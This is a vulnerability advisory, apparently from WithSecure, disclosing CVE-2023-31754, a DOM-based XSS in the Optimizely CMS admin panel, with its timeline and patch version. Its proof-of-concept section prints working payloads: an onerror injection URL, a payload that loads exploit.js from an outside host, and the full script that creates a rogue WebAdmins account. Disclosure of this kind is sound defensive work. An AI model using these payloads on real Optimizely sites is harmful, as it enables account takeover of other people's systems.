Optimizely CMS Admin Panel DOM XSS

    Type

  • DOM-based Cross-site Scripting
  • Severity

  • High
  • Affected products

  • Optimizely CMS
  • Remediation

  • The issue was patched by Optimizely in EPiServer.CMS.UI 12.16.0. Apply this version to fix the issue.
  • Credits

  • Vulnerabiltity discovered by Val Reshetnyak of WithSecure.
  • CVE

  • CVE-2023-31754
Timeline
2023-01-05Notified Optimizely 
2023-01-05 Optimizely acknowledged issue
2023-01-17Optimizely states issue soon to be fixed in 12.16.0. Assigned id CMS-26236.
2023-04-11WithSecure reaches out to Optimizely to query about the expected date for the fix. Optimizely responds that the issue was fixed in 12.16.0 that was released 2023-01-17.
2023-08-16 Optimizely publishes a blog post about the vulnerability
2023-10-26WithSecure published advisory

Description

The Optimizely admin interface was vulnerable to DOM-based cross-site scripting (XSS), which could allow an attacker to execute malicious Javascript code in a legitimate user's browser. 

Optimizely CMS is a widely used content management system that allows users to create and manage digital content. The CMS was previously called Episerver.

 

Impact

WithSecure weaponized the XSS to automatically create an attacker-controlled admin user in Optimizely as a proof of concept. This could be used in conjunction with, for example, phishing to take control of Optimizely instances.

Proof of concept

The Optimizely admin panel utilized JavaScript to fetch and display content. The frontend looked at the content in the URL fragment and attempted to fetch the requested content. If the fetch failed, such as when the content did not exist, a dialogue would be displayed with an error message. The way this error message was displayed to the user left the application vulnerable to XSS. An example error can be viewed in the  screenshot below:

The error message is displayed to the user by setting the innerHTML attribute on an element with the message content. The attacker-controlled input in this message is not sanitized or validated before the assignment. This allows an attacker to control the HTML content of the element. As an example, by visiting the following URL:

http://172.20.0.3/EPiServer/CMS/#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=alert(%22xss%22)%3E

An alert popup in the user's browser (provided they are signed in to Optimizely) will be displayed, indicating that it is possible to execute arbitrary JavaScript:

Below is a debugging session where the attacker-controlled input reaches the vulnerable sink in widgets.js:

In the above screenshot, the contents of the variable _5c1 is printed in the browser console. The content is an error message meant to be displayed to the user, saying that the requested URL could not be loaded followed by the attacker provided data. 

WithSecure weaponized the XSS to automatically add a new admin user to Optimizely when a link was clicked:

http://172.20.0.3/EPiServer/cms#context=epi.cms.contentdata:///%3Cimg%20src=x%20onerror=%22document.write('%3Cscript%20src=\'http://192.168.84.168:8000/exploit.js\'%3E%3C/script%3E')%22%3E

The URL-decoded payload can be viewed below:

<img src=x onerror="document.write('<script src=\'http://192.168.84.168:8000/exploit.js\'></script>')">

Since the user provided input reaches an innerHTML sink, regular  <script> tags cannot be used to execute Javascript. Instead, an image tag with an  onerror attribute is used to write a script tag to the DOM. The browser would then load  additional attacker-controlled Javascript from  http://192.168.84.168:8000/exploit.js. In a real-world scenario, this would be a host on the Internet instead of an internal host. The contents of exploit.js:

fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/default', { 'credentials': 'include' }).then(response => response.text()).then(data => data.match(/value="(.*)\"/)[1]).then(token => { json={"username":"hacker","email":"hacker@hack.hack","isChangePassword":true,"password":"Password1!","confirmPassword":"Password1!","currentPassword":"","passwordAnswer":"","language":null,"touchSupport":false,"headlessModeEnabled":false,"roles":["WebAdmins"],"isApproved":true,"isLockedOut":false};fetch('http://172.20.0.3/EPiServer/EPiServer.Cms.UI.Admin/users/Create',{'credentials':'include','body':JSON.stringify(json),'method':'POST',headers:{'Content-Type':'application/json','RequestVerificationToken':token}})})

The above script adds a user called hacker with a pre-set password as a web admin in Optimizely. An attacker would need to trick a user into clicking a malicious link that triggers the XSS vulnerability, and if the user is signed in to Optimizely, an attacker-controlled admin account would be created. The attacker can subsequently sign in to Optimizely using the account.